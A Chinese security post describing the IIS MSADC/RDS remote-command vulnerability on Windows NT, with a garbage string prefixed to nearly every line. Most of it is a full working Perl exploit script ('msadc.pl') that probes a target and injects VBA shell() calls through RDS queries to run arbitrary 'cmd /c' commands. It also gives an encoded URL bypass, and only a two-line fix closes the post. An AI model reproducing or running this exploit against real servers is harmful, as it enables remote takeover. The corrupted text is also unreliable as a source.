IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
|A68 +(3u ;pL!cG@ 涉及程序：
%V1j M Microsoft NT server
N~b0 b;e i\ uj>;B 描述：
IT#Li 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
bR}fj .gP 8@doKOA~T 详细：
I@qGDKz; 如果你没有时间读详细内容的话，就删除:
M]%dFQ c:\Program Files\Common Files\System\Msadc\msadcs.dll
{ Mf-?_% 有关的安全问题就没有了。
ga,kKPL O=LW[h! 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
Mp
js [zl4"|_` 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
'Jek<
5 关于利用ODBC远程漏洞的描述，请参看:
!5'4FUl J s3sD 7 @ http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm b*tb$F w3VgGc~ 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
\ (`2 @ http://www.microsoft.com/security/bulletins/MS99-025faq.asp Y9-F\t=~ e1b?TF@lz 这里不再论述。
yFd .tQs }T P yHq" 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
%Cj_z `'3 &tAy /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
=i}lh }( 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
8,F|*YA Aua}.Fl, GwA\>qXw #将下面这段保存为txt文件，然后: "perl -x 文件名"
CL`+\
. cBbumf 9C #!perl
r# oJ ch= #
|Ch ,C # MSADC/RDS 'usage' (aka exploit) script
o[ RwK #
|bQF.n_ # by rain.forest.puppy
a~R.">>$ #
Q(Yn8t # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
LB({,0mcX # beta test and find errors!
.*n*eeD, 2 rC& use Socket; use Getopt::Std;
e ?7NW getopts("e:vd:h:XR", \%args);
: ,yC\,H^ MGK?FJn_? print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
%TAS4hnu% ;xUo( ^t7> if (!defined $args{h} && !defined $args{R}) {
`<P:l y. print qq~
F jizPg/|! Usage: msadc.pl -h <host> { -d <delay> -X -v }
@@-TW`G7 -h <host> = host you want to scan (ip or domain)
] ZP!y -d <seconds> = delay between calls, default 1 second
2 ( I4h[ -X = dump Index Server path table, if available
-da: j-_ -v = verbose
K }
T=j+ -e = external dictionary file for step 5
@d^DU5ats> RO3q!+ a$/ Or a -R will resume a command session
cL%"AVsj
> >hSu 1 s: ~; exit;}
K;Hgq4 1R yE8DdP $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
.x] pJ9 if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
6WIs*$T2* if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
=z"8#_3A if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
d@$bPQQ$, $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
m<k 6oev$ if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
)FG/ _cC!rq U1 if (!defined $args{R}){ $ret = &has_msadc;
*ZLi sq-f die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
T*8 S7l KJ S-{ed print "Please type the NT commandline you want to run (cmd /c assumed):\n"
gMZ+kP` . "cmd /c ";
a[z $ae7 $in=<STDIN>; chomp $in;
LXJ;8uW2y $command="cmd /c " . $in ;
9@IL5 47V WI*CuJU<zJ if (defined $args{R}) {&load; exit;}
}CZw'fhVWO g]N'6La print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
tcRJ1:d &try_btcustmr;
a9 q:e K1R?Qt,qDF print "\nStep 2: Trying to make our own DSN...";
9c*B%A8J &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
")txFe oD9L5c) print "\nStep 3: Trying known DSNs...";
A n`*![ &known_dsn;
<s\ZqL$ f 3` o OoKX print "\nStep 4: Trying known .mdbs...";
>!lpI5'Z& &known_mdb;
]91Q Z~4a ]jiVe_ OS< if (defined $args{e}){
Z o^ ]y' print "\nStep 5: Trying dictionary of DSN names...";
'/X]96Ci7 &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
D :IG;R sc E^ c *x^ print "Sorry Charley...maybe next time?\n";
f)a0 !U 44 exit;
'|yCDBu @OFxnF` ##############################################################################
X6(s][Wn a]%s ks sub sendraw { # ripped and modded from whisker
/NiD#s0t sleep($delay); # it's a DoS on the server! At least on mine...
-])=\n!= my ($pstr)=@_;
Fsx<Sa socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
Z^'\()3t die("Socket problems\n");
E,K>V:P* if(connect(S,pack "SnA4x8",2,80,$target)){
eV(9I v[ select(S); $|=1;
b5
NlL `g print $pstr; my @in=<S>;
HOCj* O4 select(STDOUT); close(S);
L@z hbWY return @in;
ZMiOKVl } else { die("Can't connect...\n"); }}
< FO=PM 1kUlQ*[<| ##############################################################################
UuF(n$B %m[ZU<v sub make_header { # make the HTTP request
hOj+z? my $msadc=<<EOT
f ^"pZS POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
f.66N9BHL, User-Agent: ACTIVEDATA
kQ lwl9 Host: $ip
N ]| >\ Content-Length: $clen
t& [<Dl/L Connection: Keep-Alive
>nih:5J,ja H=f| X<8 ADCClientVersion:01.06
SA =>9L,2 Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
M3|G^q:l :Y1 ;= W --!ADM!ROX!YOUR!WORLD!
y@LiUe5 Content-Type: application/x-varg
es x/{j;<u Content-Length: $reqlen
Q@NFfJJ %OO}0OW EOT
mb 1c9 ; $msadc=~s/\n/\r\n/g;
).(y#zJ7P return $msadc;}
*W^ZXhrZ r;[ =y<Yf ##############################################################################
+DR$ >a d(ypFd9z sub make_req { # make the RDS request
T{f$S my ($switch, $p1, $p2)=@_;
Qe ip h my $req=""; my $t1, $t2, $query, $dsn;
]PoWL;E' B {:a,V7 if ($switch==1){ # this is the btcustmr.mdb query
>{:hadUH $query="Select * from Customers where City=" . make_shell();
dY~z6bT $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
p) ?6#~9$ $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
fxr#T'i {N/%%O.b elsif ($switch==2){ # this is general make table query
a\}MJ5] $query="create table AZZ (B int, C varchar(10))";
xz5A[ )N $dsn="$p1";}
zUv#%Q8vw 3T
gX]J@ elsif ($switch==3){ # this is general exploit table query
n;N79`mZC $query="select * from AZZ where C=" . make_shell();
vx I 9|i $dsn="$p1";}
P#XV_2 NY^0$h elsif ($switch==4){ # attempt to hork file info from index server
,J !$Q0 e $query="select path from scope()";
/"u37f?[^ $dsn="Provider=MSIDXS;";}
Rq[d\BN0.d ykP iZK elsif ($switch==5){ # bad query
uh2_Rzln $query="select";
C}Kl! $dsn="$p1";}
7X/t2Vih@ #+ AQ:+ $t1= make_unicode($query);
$ GG aR x $t2= make_unicode($dsn);
y* -_ $req = "\x02\x00\x03\x00";
lG94^|U $req.= "\x08\x00" . pack ("S1", length($t1));
Pn[oo_)s $req.= "\x00\x00" . $t1 ;
M~|7gK.m1 $req.= "\x08\x00" . pack ("S1", length($t2));
]- `wXi" $req.= "\x00\x00" . $t2 ;
^ W?cuJ8 $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
3)\fZYu) return $req;}
D mLx"%H3 |llJ%JhF ##############################################################################
_(kaa WJ 23>[-XZb[O sub make_shell { # this makes the shell() statement
lNa+NtQu return "'|shell(\"$command\")|'";}
1nskf*Z %>i:C-l8 ##############################################################################
y*vSt^ PMB4]p%o sub make_unicode { # quick little function to convert to unicode
U za '%R my ($in)=@_; my $out;
:Z6j5V;s for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
TSsZzsdr2 return $out;}
~qG W9 4 @CL#B98jl ##############################################################################
1H/I- 'EA skA] * sub rdo_success { # checks for RDO return success (this is kludge)
^9q#,6 my (@in) = @_; my $base=content_start(@in);
g;8 wP5i if($in[$base]=~/multipart\/mixed/){
_J W|3 q return 1 if( $in[$base+10]=~/^\x09\x00/ );}
9iZio3m return 0;}
B<m0YD?>~> 0zq' Nf?#3 ##############################################################################
S\&3t}_ <TRhn z sub make_dsn { # this makes a DSN for us
5j1d=h my @drives=("c","d","e","f");
NBc^(F" print "\nMaking DSN: ";
'"\M` G foreach $drive (@drives) {
k<^M >` $ print "$drive: ";
&EQhk9j my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
LtMM89u "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
$%cc[[/U . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
9 =;mY $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
4#0 3x:/<\ return 0 if $2 eq "404"; # not found/doesn't exist
=ZIT!B?4 if($2 eq "200") {
6,3o_"J ! foreach $line (@results) {
cr P2jF! return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
GN(<$,~g } return 0;}
!ou#g5Q@z ~,HFd` ##############################################################################
jBw)8~t Ym K -rR)-rI sub verify_exists {
ls]N&!/hq my ($page)=@_;
U-u?oU-.' my @results=sendraw("GET $page HTTP/1.0\n\n");
)P:^A9&_n= return $results[0];}
IFX$\+- UlE%\L0GD& ##############################################################################
EaO@I. [ =xI '|% sub try_btcustmr {
V >' my @drives=("c","d","e","f");
#lLUBJ#: my @dirs=("winnt","winnt35","winnt351","win","windows");
@9gZH_ur>E g8%O^)d=> foreach $dir (@dirs) {
&P|[YP37_ print "$dir -> "; # fun status so you can see progress
-o6rY9\_! foreach $drive (@drives) {
:BF ? r print "$drive: "; # ditto
[fa4 $reqlen=length( make_req(1,$drive,$dir) ) - 28;
'cXdc $reqlenlen=length( "$reqlen" );
UUJQc ~= $clen= 206 + $reqlenlen + $reqlen;
ilL0=[2 "S %t\ my @results=sendraw(make_header() . make_req(1,$drive,$dir));
EX`P (=zD if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
sV else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
.9qK88fU R lZ\8W^ ##############################################################################
S 13cQ?4 7mi!yTr} sub odbc_error {
'kZ,: .v my (@in)=@_; my $base;
Z nc(Q my $base = content_start(@in);
e yJ07 if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
d qn5G!fI $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
a[O6xA% $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
1q;v|F $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
d]l8ei@>h return $in[$base+4].$in[$base+5].$in[$base+6];}
e{P v:jl print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
WKEb
'^ print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
dq[h:kYm $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
FLqN3D=y Q C8}:z\A_@Z ##############################################################################
}9'`3vsJ ~9dpB>+ sub verbose {
L8QWEFB| my ($in)=@_;
"#j} F u_! return if !$verbose;
B )r-,M print STDOUT "\n$in\n";}
DYD<?._ I
.w9LJ ##############################################################################
BPba3G9H Zh<;r;2 sub save {
pI JXP$v3 my ($p1, $p2, $p3, $p4)=@_;
h4? x_"V" open(OUT, ">rds.save") || print "Problem saving parameters...\n";
FRBu8WW 0L print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
9Yx(u 2PQ close OUT;}
'x!\pE- afEa@et' ##############################################################################
V)`2 Kw IY`p7 )#i sub load {
pN%&`]Wev my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
N4!`iS Y open(IN,"<rds.save") || die("Couldn't open rds.save\n");
&v{Ehkr* @p=<IN>; close(IN);
,BU;i%G&s $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
7~/ cz_ $target= inet_aton($ip) || die("inet_aton problems");
'YN aLZ20 print "Resuming to $ip ...";
I &t~o $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
Eah6"j!B8n if($p[1]==1) {
cj/` m$ $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
I{`7 0 $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
11[lc2 my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
}{o ! if (rdo_success(@results)){print "Success!\n";}
gb ga"WO else { print "failed\n"; verbose(odbc_error(@results));}}
|cPHl+$nh. elsif ($p[1]==3){
o\I MY T if(run_query("$p[3]")){
u epyH print "Success!\n";} else { print "failed\n"; }}
0s#72 }n elsif ($p[1]==4){
,5}U
H if(run_query($drvst . "$p[3]")){
N@q}eGe print "Success!\n"; } else { print "failed\n"; }}
0lfK}
a exit;}
#o.e
(C Aw o)a8e ##############################################################################
FK|O^- >B l4Xz r:] sub create_table {
_u`YjzK my ($in)=@_;
> VG $reqlen=length( make_req(2,$in,"") ) - 28;
+L(am q;S $reqlenlen=length( "$reqlen" );
_'u]{X\k{J $clen= 206 + $reqlenlen + $reqlen;
Ed JL&* my @results=sendraw(make_header() . make_req(2,$in,""));
)D)5
`n) return 1 if rdo_success(@results);
/:&!o2&1H my $temp= odbc_error(@results); verbose($temp);
l>?c AB[ return 1 if $temp=~/Table 'AZZ' already exists/;
p*Bty@CRi return 0;}
J 3K = z 7 |P
kc(O ##############################################################################
U@lc 1# tT$OnZu& sub known_dsn {
l\HdB"nT # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
^URCnJ67Se my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
m P(3[a_Q "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
(C2 XFg_ "banner", "banners", "ads", "ADCDemo", "ADCTest");
Nk `UQ~g$ Hd|l6/[xz foreach $dSn (@dsns) {
n/H
OP print ".";
0 J)s2 &H next if (!is_access("DSN=$dSn"));
KhCP9(A=Qo if(create_table("DSN=$dSn")){
{ |+Y;V` print "$dSn successful\n";
(L_-!=e if(run_query("DSN=$dSn")){
R$awg S E print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
IP~!E_e}\ print "Something's borked. Use verbose next time\n";}}} print "\n";}
Nkdv'e\ =8kmFXo ##############################################################################
US6_ 5>/ FqKJids- sub is_access {
!Brtao"m my ($in)=@_;
yC,/R371k $reqlen=length( make_req(5,$in,"") ) - 28;
]Z JoC!u $reqlenlen=length( "$reqlen" );
DHidI\*gT $clen= 206 + $reqlenlen + $reqlen;
(J hX:1 my @results=sendraw(make_header() . make_req(5,$in,""));
c}x1-d8 my $temp= odbc_error(@results);
X'9.fKp verbose($temp); return 1 if ($temp=~/Microsoft Access/);
)&DAbB!O return 0;}
=BsV`p7rU {Z.6\G&q ##############################################################################
}2A6W%^>] [&Xp]:M'D sub run_query {
^
k^y|\UtZ my ($in)=@_;
97}]@xN= $reqlen=length( make_req(3,$in,"") ) - 28;
) "#' $reqlenlen=length( "$reqlen" );
h$>F}n
j $clen= 206 + $reqlenlen + $reqlen;
# k I> my @results=sendraw(make_header() . make_req(3,$in,""));
R#(0C(FI^ return 1 if rdo_success(@results);
F /b`[ my $temp= odbc_error(@results); verbose($temp);
KWwtL"3 return 0;}
xS18t=" 3:%k
pnO ##############################################################################
j jpY g *OVB;]D3+ sub known_mdb {
'[F:uA my @drives=("c","d","e","f","g");
gwZ<$6 my @dirs=("winnt","winnt35","winnt351","win","windows");
\ /-c) my $dir, $drive, $mdb;
OI R5QH my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
]n ?x tI FoefBo?g65 # this is sparse, because I don't know of many
OfsP5*d my @sysmdbs=( "\\catroot\\icatalog.mdb",
3JoY- "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
z(PUoV:? "\\system32\\certmdb.mdb",
0oe<=L]F "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
.{Y;6]9[ ]wQ!ZG?)
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
v1h(_NLI! "\\cfusion\\cfapps\\forums\\forums_.mdb",
[;E%o^/^ "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
?5|;3N/zt "\\cfusion\\cfapps\\security\\realm_.mdb",
TFVQfj$r "\\cfusion\\cfapps\\security\\data\\realm.mdb",
,N/@=As9$ "\\cfusion\\database\\cfexamples.mdb",
D{|q P
nE4 "\\cfusion\\database\\cfsnippets.mdb",
=O/Bte. "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
vN v?trw "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
T}~TW26v "\\cfusion\\brighttiger\\database\\cleam.mdb",
BT{;^ Hp "\\cfusion\\database\\smpolicy.mdb",
^s,3*cAU "\\cfusion\\database\cypress.mdb",
yr]ja-Y "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
\}-4(Xdaq "\\website\\cgi-win\\dbsample.mdb",
y)f.ON36I "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
!`ol&QQ# "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
1I Yip\:lS ); #these are just
Pms@!yce foreach $drive (@drives) {
^<]'?4m] foreach $dir (@dirs){
[^>XR BSm foreach $mdb (@sysmdbs) {
a "~o'W 7 print ".";
_8K+iqMZG if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
z,HhSW?&^ print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
}v(wjD if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
KaIKb=4L| print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
V>$ ( N/1 } else { print "Something's borked. Use verbose next time\n"; }}}}}
"SF0b jG9C Y~ ~Dg?e foreach $drive (@drives) {
9#LMK 1ge foreach $mdb (@mdbs) {
,OZ print ".";
h\ RX/C!+ if(create_table($drv . $drive . $dir . $mdb)){
D6SUzI1+H print "\n" . $drive . $dir . $mdb . " successful\n";
$QX$r N if(run_query($drv . $drive . $dir . $mdb)){
@xG&K{j print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
Z \$Hg G } else { print "Something's borked. Use verbose next time\n"; }}}}
uL'f8Pqg }
N_t,n^i9>* (1/Sf&2i ##############################################################################
OhF55,[ DF%d/a{] sub hork_idx {
;w{<1NH2+. print "\nAttempting to dump Index Server tables...\n";
`CK~x = print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
uf( ayDE $reqlen=length( make_req(4,"","") ) - 28;
V A/2$5Wu $reqlenlen=length( "$reqlen" );
7KT*p&xm $clen= 206 + $reqlenlen + $reqlen;
On C )f my @results=sendraw2(make_header() . make_req(4,"",""));
Pz]WT1J0 if (rdo_success(@results)){
yUo R6w my $max=@results; my $c; my %d;
;i{B,!# for($c=19; $c<$max; $c++){
,CE/o7.FG $results[$c]=~s/\x00//g;
x" r0<RK $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
u ExLj6 $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
T+8Yd(:hX $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
,n|si# $d{"$1$2"}="";}
g/?Vl2W foreach $c (keys %d){ print "$c\n"; }
j*=!M# D } else {print "Index server doesn't seem to be installed.\n"; }}
@uSO~. 7 Jcw^ Z, ##############################################################################
6#w>6g4V~R ktu?-?#0, sub dsn_dict {
RK# 6JfC3X open(IN, "<$args{e}") || die("Can't open external dictionary\n");
!E70e$Th while(<IN>){
B`pBI Uu $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
cJKnB!iL5 next if (!is_access("DSN=$dSn"));
N,t9X7G& if(create_table("DSN=$dSn")){
m l`xLZN>L print "$dSn successful\n";
E4# { &sRT if(run_query("DSN=$dSn")){
\0@DO W22C print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
=g% L$b<i print "Something's borked. Use verbose next time\n";}}}
b3N IFKw print "\n"; close(IN);}
glAS$< eSPS3|YYn ##############################################################################
$KcAB0 B8 +]l?JKV sub sendraw2 { # ripped and modded from whisker
uJ`N' `Z sleep($delay); # it's a DoS on the server! At least on mine...
M-WSdG[AJ my ($pstr)=@_;
NP>v @jO socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
SH*'< die("Socket problems\n");
^Z (cV g if(connect(S,pack "SnA4x8",2,80,$target)){
/E>;O47a print "Connected. Getting data";
Za.}bR6 ?Y open(OUT,">raw.out"); my @in;
H`[FC|RYyE select(S); $|=1; print $pstr;
{R$`YWk while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
+h) "m/mE close(OUT); select(STDOUT); close(S); return @in;
VPCI5mS_ } else { die("Can't connect...\n"); }}
^} j~:EZb ODJ"3 J ##############################################################################
N=mvr&arP f/\!=sa: sub content_start { # this will take in the server headers
q 4BXrEOw my (@in)=@_; my $c;
&+9 ; for ($c=1;$c<500;$c++) {
]dyc esc' if($in[$c] =~/^\x0d\x0a/){
\Y# if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
_KRnx- else { return $c+1; }}}
=lNW1J\SW return -1;} # it should never get here actually
V[ UOl J @Z]0c=-+ ##############################################################################
bR`5g (lsG4&\0F sub funky {
b+s'B4@rb my (@in)=@_; my $error=odbc_error(@in);
ui]iO p if($error=~/ADO could not find the specified provider/){
q NGR6i print "\nServer returned an ADO miscofiguration message\nAborting.\n";
4S(G366 exit;}
6v@Prw@.b if($error=~/A Handler is required/){
R P{pEd print "\nServer has custom handler filters (they most likely are patched)\n";
Owp]>e exit;}
K#FD$, c~ if($error=~/specified Handler has denied Access/){
L1IF$e C print "\nServer has custom handler filters (they most likely are patched)\n";
1$Up7=Dr= exit;}}
A-x^JC= 81RuNs] ##############################################################################
mF
gqM: dJ"44Wu+J sub has_msadc {
r*HSi.'21 my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
cT(nKHL my $base=content_start(@results);
jMT [+f return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
r$<!?Z return 0;}
-J]?M 0GMb?/
########################
/cS8@ )e4 \mF-L,yu t!D' ZLw 解决方案：
XT0-"-q 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
|dIR v 2、移除web 目录: /msadc
